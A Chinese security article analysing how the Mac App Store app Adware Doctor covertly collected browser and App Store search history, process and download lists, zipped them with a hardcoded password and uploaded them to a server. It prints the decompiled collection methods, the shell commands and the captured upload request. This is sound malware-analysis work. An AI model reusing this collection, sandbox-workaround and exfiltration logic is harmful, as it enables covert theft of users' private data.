被指向中國發送數據,Mac App Store下架排名第一的付費安全軟體
前言
近日有外媒報道,Mac App Store中付費安全軟體中排名第一的Adware Doctor被研究人員發現在未經用戶同意的情況下收集瀏覽歷史,並將數據發送至位於中國的伺服器,之後被Mac App Store下架。
在被下架之前,Adware Doctor是一款廣受用戶歡迎的安全應用,旨在保護用戶的瀏覽器免受廣告軟體和惡意軟體威脅。國外研究人員解構了此次發生的下架事件的前因後果。
Adware Doctor
在Adware Doctor的宣傳中,它是Mac用戶抵禦各種常見廣告軟體威脅的「最佳應用」:
在Mac App Store中,這款應用程序非常受歡迎,在最暢銷的應用程序中排名第四,因此連蘋果Mac App Store網站都列出了它的信息:
在「付費實用工具」分類中,Adware Doctor排名第一:
事件解構
研究人員使用靜態分析(反編譯)和動態分析(網路監控、文件監控和調試)的方法對這款應用程序進行了研究,以下是過程和結果。
首先,研究人員從Mac App Store下載 Adware Doctor,確認該應用程序(與Mac App Store中的所有應用程序一樣)由蘋果正常簽發:
啟動應用程序,觀察到它通過HTTPS發出各種網路請求。例如,連接到adwareres.securemacos.com通過GET請求/AdwareDoctor/master.1.5.5.js:
如圖所示,下載的master.1.5.5.js文件包含基本JSON配置數據:
{「disable_rate」:false, 「disable_prescan」:false,「sk_on」:false,「faq_link」:「http://www.adwaredoctor.com/adware-doctor-faq/」}
單擊應用程序界面中的「Clean」按鈕會觸發另一個到adwareres.securemacos.com的網路請求,這次下載的是名為config1.5.0.js的第二個文件:
這次下載的config1.5.0.js文件包含更多JSON,最值得注意的是這款軟體的資料庫的鏈接:
{ 「update」:true, 「version」:「201808243」, 「url」:「https://adwareres.securemacos.com/patten/file201808243.db」}
然後是一個看起來很正常的資料庫更新過程:
研究人員查看了資料庫的內容,是加密的(符合反廣告軟體/反惡意軟體的做法):
使用調試器捕獲應用程序在內存中解密的文件,然後轉儲純文本內容:
(lldb)binaryContentMatchPatten = ({ md5 = ( 48a96e1c00be257debc9c9c58fafaffe, f1a19b8929ec88a81a6bdce6d5ee66e6, 3e653285b290c12d40982e6bb65928c1, 801e59290d99ecb39fd218227674646e, 8d0cd4565256a781f73aa1e68e2a63de, e233edd82b3dffd41fc9623519ea281b, 1db830f93667d9c38dc943595dcc2d85, ...browserHomePagePatten = ({ name = "Chrome homepage: safefinder"; patten = "Chrome.*feed\.snowbitt\.com.*publisher=tingnew";}, { name = "Chrome homepage: safefinder"; patten = "Chrome.*feed\.snowbitt\.com.*publisher=TingSyn";}, { name = "Chrome homepage: safefinder"; patten = "Chrome.*searchword.*/90/";},...filePathPatten = ("/Applications/WebShoppers", "/Applications/WebShoppy", "/Applications/SoftwareUpdater", "/Applications/webshoppers", "~/Library/Application Support/WebTools","~/Library/WebTools","/Applications/WebTools","/Applications/WebTools.app","/Applications/SmartShoppy", "/Applications/ShopTool","/Applications/ShoppyTool","/Applications/EasyShopper", ...launchPathMatchPatten = ( "com.WebShoppers.agent.plist", "com.WebShoppy.agent.plist", "com.webshoppers.agent.plist", "com.SoftwareUpdater.agent.plist", ... whitelist = ( "~/Library/LaunchAgents/com.spotify.webhelper.plist","/Library/LaunchDaemons/com.intel.haxm.plist", "/Library/LaunchDaemons/net.privatetunnel.ovpnagent.plist","/Library/LaunchDaemons/com.mixlr.MixlrAudioLink.plist", "/Library/LaunchDaemons/com.mcafee.ssm.Eupdate.plist", "/Library/LaunchDaemons/com.mcafee.ssm.ScanFactory.plist", "/Library/LaunchDaemons/com.mcafee.ssm.ScanManager.plist", "/Library/LaunchDaemons/com.mcafee.virusscan.fmpd.plist","/Library/LaunchDaemons/com.microsoft.autoupdate.helper.plist","/Library/LaunchAgents/com.microsoft.update.agent.plist","/Library/LaunchDaemons/com.crashplan.engine.plist"...
這些特徵看起來是一款反廣告軟體,並且哈希值確實與已知的廣告軟體匹配:
例如Adware.MAC.Pirrit:
回到Adware Doctor應用界面,它已準備好清理用戶的系統:
直到上面一步並沒有出現異常,但後面對不對了。
首先,在運行文件監視器(例如MacOS內置的fs_usage)和對包含歷史記錄的文件進行過濾(不區分大小寫)後,一些異常的文件訪問歷史顯現出來:
# fs_usage -w -f filesystem | grep "Adware Doctor" | grep -i historyAdware Doctor.44148 open ~/Library/Application Support/<b>CallHistoryTransactions</b>Adware Doctor.44148 open ~/Library/Application Support/<b>CallHistoryDB</b> Adware Doctor.44148 RdData[A] /dev/disk1s1/Users/user/Library/Safari/<b>History.db</b>Adware Doctor.44148 lstat64 /Users/user/Library/Application Support/Google/Chrome/Default/<b>History</b>Adware Doctor.44148 open ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zipAdware Doctor.44148 lstat64 ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/psCommonInfoAdware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/appstoreHistoryAdware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistoryAdware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistoryAdware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/firefoxHistory
運行進程監視器(例如開源的ProcInfo實用程序),可以觀察到Adware Doctor使用內建zip實用程序創建受密碼保護的history.zip存檔:
# ./procInfoprocess start:pid: 2634path: /bin/bashargs: ( "/bin/bash", "-c", "zip -r --quiet -P webtool "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/<b>history.zip</b>" "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history" > /dev/null")
使用網路代理監視器(Charles Proxy)捕獲Adware Doctor到adscan.yelabapp.com的連接嘗試:
通過編輯系統的/etc/hosts文件,將此請求重定向到研究人員控制的伺服器,捕獲到Adware Doctor嘗試上傳history.zip文件:
# python https.pylistening for for HTTPS requests on port:443192.168.86.76 - - [20/Aug/2018 10:53:24] "POST /1/checkadware HTTP/1.1" 200 -Headers:Host: adscan.yelabapp.comContent-Type: multipart/form-data; boundary=Boundary-E2AE6908-4FC6-4C1D-911A-0B34F844C510Connection: keep-aliveAccept: */*User-Agent: Adware%20Doctor/1026 CFNetwork/902.1 Darwin/17.7.0 (x86_64)Content-Length: 15810Accept-Language: en-usAccept-Encoding: br, gzip, deflatePath: /1/checkadwareAttachment: "history.zip" (length: 15810)
待上傳的「history.zip」文件受密碼保護:
回看進程監視器的輸出,密碼被發送到內建的zip實用程序:zip -r —quiet -P webtool …。
密碼也被編碼到應用程序的二進位文件中,因此反編譯二進位文件即可獲得密碼。
輸入webtool作為密碼解壓文件:
查看解壓出來的內容,Adware Doctor在暗地裡收集用戶的瀏覽器歷史記錄:
$ cat com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistoryPerson 1:https://www.google.com/search?q=if+i+punch+myself+in+the+face+and+it+hurts+does+that+make+me+weak+or+strong 2018-08-20 21:19:57https://www.google.com/search?q=does+your+stomach+think+all+potatoes+are+mashed 2018-08-20 21:19:36$ cat com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistoryhttps://www.google.com/search?client=safari&rls=en&q=What+are+the+best+investment+opportunities+in+Nigeria1397-06-02 08:29:41https://www.google.com/search?client=safari&rls=en&q=Where+do+lost+socks+go+when+they+go+missing 1397-06-02 08:29:20
深入分析
看到這裡,有三個問題需要解答:
它如何繞過Mac App Store的沙盒機制來訪問用戶的文件?
它如何收集用戶的瀏覽器歷史記錄?
它還收集了哪些系統信息和個人身份信息(PII)?
從安全和隱私的角度來看,從官方Mac App Store安裝應用程序的主要優勢有兩點:
程序經過蘋果官方審查和簽發;
程序在沙盒中運行。
當應用程序在沙箱中運行時,可以訪問的文件或用戶信息非常有限,應該不能訪問用戶的瀏覽器歷史記錄,但這裡Adware Doctor做到了。
通過工具(WhatsYourSign)查看該應用程序的許可權,包含:com.apple.security.files.user-selected.read-write:
這項許可權意味著應用程序可以請求某些文件的許可權,並且得到明確的用戶批准後,對文件進行讀/寫操作。Adware Doctor在第一次運行時,會請求訪問用戶的主目錄以及下面的所有文件和目錄:
這是通過[MainWindowController showFileAccess]方法實現的:
/ * @class MainWindowController * /- (void)showFileAccess { r15 = self; var_30 = [[AppSandboxFileAccess fileAccess] retain]; r13 = [[AppSandboxFileAccess fileAccess] retain]; rbx = [[BSUtil realHomeDirectory] retain]; r14 = [r13 hasAccessPremisionPath:rbx]; ...
在AppSandboxFileAccess類的幫助下:
在調試器(lldb)中,觀察用戶主目錄的訪問嘗試:
Adware Doctor -[AppSandboxFileAccess hasAccessPremisionPath:]:-> 0x10000cebf <+0>: pushq %rbp 0x10000cec0 <+1>: movq %rsp, %rbp 0x10000cec3 <+4>: pushq %r15 0x10000cec5 <+6>: pushq %r14(lldb) po $rdi<AppSandboxFileAccess: 0x1003797b0>(lldb) x/s $rsi0x10006a147: "hasAccessPremisionPath:"(lldb) po $rdx/Users/user
現在,Adware Doctor可以合法訪問用戶的文件和目錄,例如掃描以查找惡意代碼。但是,一旦用戶點擊允許,Adware Doctor將具備對所有用戶文件的全部訪問許可權,它使用了多種收集系統和用戶信息的方法。雖然某些(例如進程列表)可能確實是用於反惡意軟體或反廣告軟體的操作,但其他用戶信息(例如用戶的瀏覽歷史記錄)違反了嚴格的Mac App Store規則。
收集方法在ACEAdwareCleaner類中實現,並命名為collect *:
逆向一下部分方法
首先是collectSample方法。此方法查詢應用程序下載的資料庫。看起來它用於尋找收集樣本中指定的文件:
- (void)collectSample {...rbx = [r15 pattenDic];r14 = [rbx valueForKey:@「sample」];
在調試器中跳過此代碼,並檢查示例鍵的未加密值:
(lldb)「/ Application / Adware Doctor.app」...po $ rax<__ NSArrayM 0x10732b5e0>(NAME =`whoami`; echo /Users/"$NAME"/Library/LaunchAgents/com.apple.Yahoo.plist;)
它正在用戶的LaunchAgents目錄中尋找名為com.apple.Yahoo.plist的文件。在搜索引擎中搜索「com.apple.Yahoo.plist」,跳出的信息與門羅幣挖礦木馬有關。在VirusTotal上可以找到相關文件,但看起來沒問題:
collectPSCommonInfoToFile方法。反編譯相關文件後得到了字元串和詳細的方法名稱,揭示了目的:
/* @class ACEAdwareCleaner */-(void)collectPSCommonInfoToFile:(void *)arg2 { var_38 = [arg2 retain]; r14 = [[NSMutableString alloc] init]; [r14 appendString:@"===System===
"]; rbx = [[ACECommon operatingSystem] retain]; [r14 appendFormat:@"%@
"]; [rbx release]; [r14 appendString:@"===OS UpTime===
"]; rbx = [[ACECommon getSystemUpTime] retain]; [r14 appendFormat:@"%@
"]; [rbx release]; [r14 appendString:@"===Launch===
"]; rbx = [[self readLaunchFolder:@"/Library/LaunchAgents"] retain]; [r14 appendFormat:@"%@
"]; [rbx release]; rbx = [[self readLaunchFolder:@"/Library/LaunchDaemons"] retain]; [r14 appendFormat:@"%@
"]; [rbx release]; r15 = [[ACECommon realHomeDirectory] retain]; r13 = [[NSString stringWithFormat:@"%@/Library/LaunchAgents", r15] retain]; rbx = [[self readLaunchFolder:r13] retain]; [r14 appendFormat:@"%@
"]; [rbx release]; [r13 release]; [r15 release]; [r14 appendString:@"
===Applications===
"]; rbx = [[ACECommon fileStringWithPath:@"/Applications"] retain]; [r14 appendString:rbx]; [rbx release]; [r14 appendString:@"
===process===
"]; rbx = [[ACECommon collectProcessList] retain]; [r14 appendString:rbx]; [rbx release]; [r14 appendString:@"
===process2===
"]; rbx = [[ACECommon collectProcessList2] retain]; [r14 appendString:rbx]; [rbx release]; [r14 writeToFile:var_38 atomically:0x1 encoding:0x4 error:0x0]; [var_38 release]; [r14 release]; return;}
可以手動分析這些代碼,但簡單地讓它執行並在下一行(靠近函數末尾)設置斷點要簡單得多:
(lldb)po $ rdx/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support / com.yelab.Browser-Sweeper / history / psCommonInfo
請注意這個psCommonInfo也被exfilt到adscan.yelabapp.com(在history.zip文檔中):
$ cat psCommonInfo===System===Version 10.13.6 (Build 17G65)===OS UpTime===1hour, 10minute, 31second===Launch===/Library/LaunchAgents/com.vmware.launchd.vmware-tools-userd.plist444 root wheel...===Applications===/Applications/DVD Player.app(1396-07-20 02:11:55 +0000)/Applications/Siri.app(1396-07-27 03:17:13 +0000)/Applications/QuickTime Player.app(1396-08-19 02:31:30 +0000)/Applications/Chess.app(1396-06-15 01:20:21 +0000)/Applications/Photo Booth.app(1396-04-25 01:50:31 +0000)/Applications/Adware Doctor.app(1397-03-20 09:59:27 +0000)....===process2===processID processName userID userName command1759 bash 501 user /bin/bash1758 login 0 root /usr/bin/login1730 silhouette 501 user /usr/libexec/silhouette1709 mdwrite 501 user /System/Library/Frame....
雖然Adware Doctor獲得了通過com.apple.security.files.user-selected.read-write許可權和明確的用戶批准來枚舉用戶文件,但根據沙箱設計,它仍然無法列出其他正在運行的進程。
回想一下collectPSCommonInfoToFile,調用以下兩種方法:
[r14 appendString:@「 n === process === n」];rbx = [[ACECommon collectProcessList] retain];...[r14 appendString:@「 n === process2 === n」];rbx = [[ACECommon collectProcessList2] retain];
方法collectProcessList嘗試通過內置的ps命令枚舉所有正在運行的進程:
(lldb) po $rdi<NSConcreteTask: 0x107441f10>(lldb) po [$rdi launchPath]/bin/sh(lldb) po [$rdi arguments]<__NSArrayI 0x1002851f0>(-c,ps -e -c -o "pid uid user args")
被macOS應用程序沙箱阻止(拒絕),因為枚舉正在運行的進程(來自沙箱)是「禁忌」:
/bin/sh: /bin/ps: Operation not permitted
Adware Doctor使用了collectProcessList2方法:
+(void *)collectProcessList2{...rax = sub_1000519ad(&var_1068, &var_10A0, @"processID processName userID userName command
", rcx, r8, r9);...var_1070 = var_1068; do { ... proc_pidpath(*(int32_t *)(r14 - 0xcb), &var_1030, 0x1000); } while (var_1088 > rax);}
調用sub_1000519ad然後迭代該函數返回的一些列表,調用proc_pidpath。sub_1000519ad返回一個進程ID列表:
000000010007df90 dd 0x00000001 ;CTL_KERN000000010007df94 dd 0x0000000e ;KERN_PROC000000010007df98 dd 0x00000000 ;KERN_PROC_ALLint sub_1000519ad(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5){ ... rax = sysctl(0x10007df90, 0x3, 0x0, r13, 0x0, 0x0); if ((r12 ^ rax) == 0x1){ __assert_rtn("GetBSDProcessList", "/Users/build1/Browser-Sweeper/src/Browser Sweeper/Pods/PodACE/Engine/ACECommon.m", ... } rbx = malloc(0x0); rax = sysctl(0x10007df90, 0x3, rbx, r13, 0x0, 0x0);
sysctl函數的調用加上字元串GetBSDProcessList給出了進程列表。它是蘋果的GetBSDProcessList代碼,可從應用程序沙箱中獲取進程列表,也就是說 Adware Doctor用來繞沙箱的代碼直接來自蘋果。
現在讓我們看看Adware Doctor如何收集用戶的瀏覽器歷史記錄。使用collectBrowserHistoryAndProcess方法,調用:
collectSafariHistoryToFile
collectChromeHistoryToFile
firefoxHistory
這些方法中的每一個都包含用於提取瀏覽器歷史記錄的代碼。
對於Safari而言,這將調用解析其History.db文件:
+(void)collectSafariHistoryToFile:(void *)arg2 { ... if ([ACECommon appInstalledByBundleId:@"com.apple.Safari"] != 0x0) { r15 = [[ACECommon realHomeDirectory] retain]; rbx = [[r15 stringByAppendingPathComponent:@"Library/Safari/History.db"] retain]; r14 = [[FMDatabaseQueue databaseQueueWithPath:rbx] retain]; ;parse database } else { r14 = [[@"Safari not installed." dataUsingEncoding:0x4] retain]; [r12 writeData:r14]; [r14 release]; [r12 closeFile]; }}
該collectChromeHistoryToFile涉及到多個文件,但基本上可以歸結為列舉Chrome個人資料,然後分析Chrome歷史數據。
+(void)collectChromeHistoryToFile:(void *)arg2 { r13 = [[NSString stringWithFormat:@"Library/Application Support/Google/Chrome/%@/History"] retain]; rbx = [[rbx stringByAppendingPathComponent:r13] retain]; [r14 copyItemAtPath:rbx toPath:var_170 error:0x0]; ... rbx = [[FMDatabaseQueue databaseQueueWithPath:var_170] retain]; ...}
最後,在解析每個配置文件的places.sqlite資料庫之前,collectFirefoxHistoryToFile方法枚舉任何Firefox配置文件:
+(void)collectFirefoxHistoryToFile:(void *)arg2 {...r12 = [[NSString stringWithFormat:@"Library/Application Support/Firefox/Profiles/%@/places.sqlite"] retain]; r15 = [[rbx stringByAppendingPathComponent:r12] retain]; r14 = [[FMDatabaseQueue databaseQueueWithPath:r15] retain];
該應用程序還有一個名為collectAppStoreHistoryToFile的方法,它將嘗試在App Store App中獲取用戶最近的所有搜索記錄:
+(void)collectAppStoreHistoryToFile:(void *)arg2 { ...15 = [[rbx stringByAppendingPathComponent:@"Library/Containers/com.apple.appstore/Data/Library/Caches/com.apple.appstore/WebKitCache/Version 11/Blobs", 0x0, 0x0] retain]; ...r12 = [r14 initWithFormat:@"%@/Library/Application Support/%@/appStoreData", r15, rbx] ...ar_1A0 = @[@"-c", @"grep search.itunes * | sed "s/.*(https://search.itunes.apple.com.*q=.*)" .*/1/"")]}
在收集完用戶數據後將所有內容都壓縮到history.zip文件發送:
(lldb) po $rdi<NSConcreteTask: 0x1003fa4b0>(lldb) po [$rdi launchPath]/bin/bash(lldb) po [$rdi arguments]<__NSArrayI 0x100352480>(-c,zip -r --quiet -P webtool "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip" "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history" > /dev/null)
此文件以及包含軟體列表的JSON blob(已下載的.dmgs或.pkgs以及從哪裡下載),然後通過調用sendPostRequestWithSuffix方法上傳到伺服器(請注意API端點:checkadware) :
[var_1F0 sendPostRequestWithSuffix:@"checkadware" params:r12 file:rbx];
[{"content": "/Users/user/Downloads/googlechrome.dmg
1397-06-02 21:15:46 +0000
(
"https://dl.google.com/chrome/mac/stable/GGRO/googlechrome.dmg",
"https://www.google.com/chrome/"
)
5533641bc4cc7af7784565ac2386a807
"},{"content": "/Users/user/Downloads/charles-proxy-4.2.6.dmg
1397-06-02 20:48:18 +0000
(
"https://www.charlesproxy.com/assets/release/4.2.6/charles-proxy-4.2.6.dmg",
"https://www.charlesproxy.com/latest-release/download.do"
)
de043b43c49077bbdce75de22e2f2d54
" },{"content": "/Users/user/Downloads/Firefox 61.0.2.dmg
1397-06-02 21:16:08 +0000
(
"https://download-installer.cdn.mozilla.net/pub/firefox/releases/61.0.2/mac/en-US/Firefox%2061.0.2.dmg",
"https://www.mozilla.org/en-US/firefox/download/thanks/?v=a"
)
65096904bf80c4dd12eb3ba833b7db8d
" }, ...]--Boundary-D779386A-2A17-4264-955A-94C5FC6F5AFAContent-Disposition: form-data; name="attachment"; filename="history.zip"Content-Type: application/zip...
到了這裡,用戶數據就發到中國的伺服器上去了。
結語
Adware Doctor的行為違反了蘋果 Mac App Store嚴格的規則和政策。例如,在「App Store規則和指南」 的「數據收集和存儲」部分指出:
收集用戶或使用數據的應用程序必須確保用戶的同意;
應用必須尊重用戶的許可權設置,而不是試圖欺騙或強迫用戶同意不必要的數據訪問;
將從開發人員計劃中刪除使用其應用程序偷偷發現私人數據的開發人員。
*參考來源:
theregister,Freddy編譯整理,轉載請註明來自 FreeBuf.COM。
※CoinHive智能網頁挖礦的二三事
※通過USB調試攻擊固件安裝後門以實現「邪惡女傭」攻擊
TAG:FreeBuf |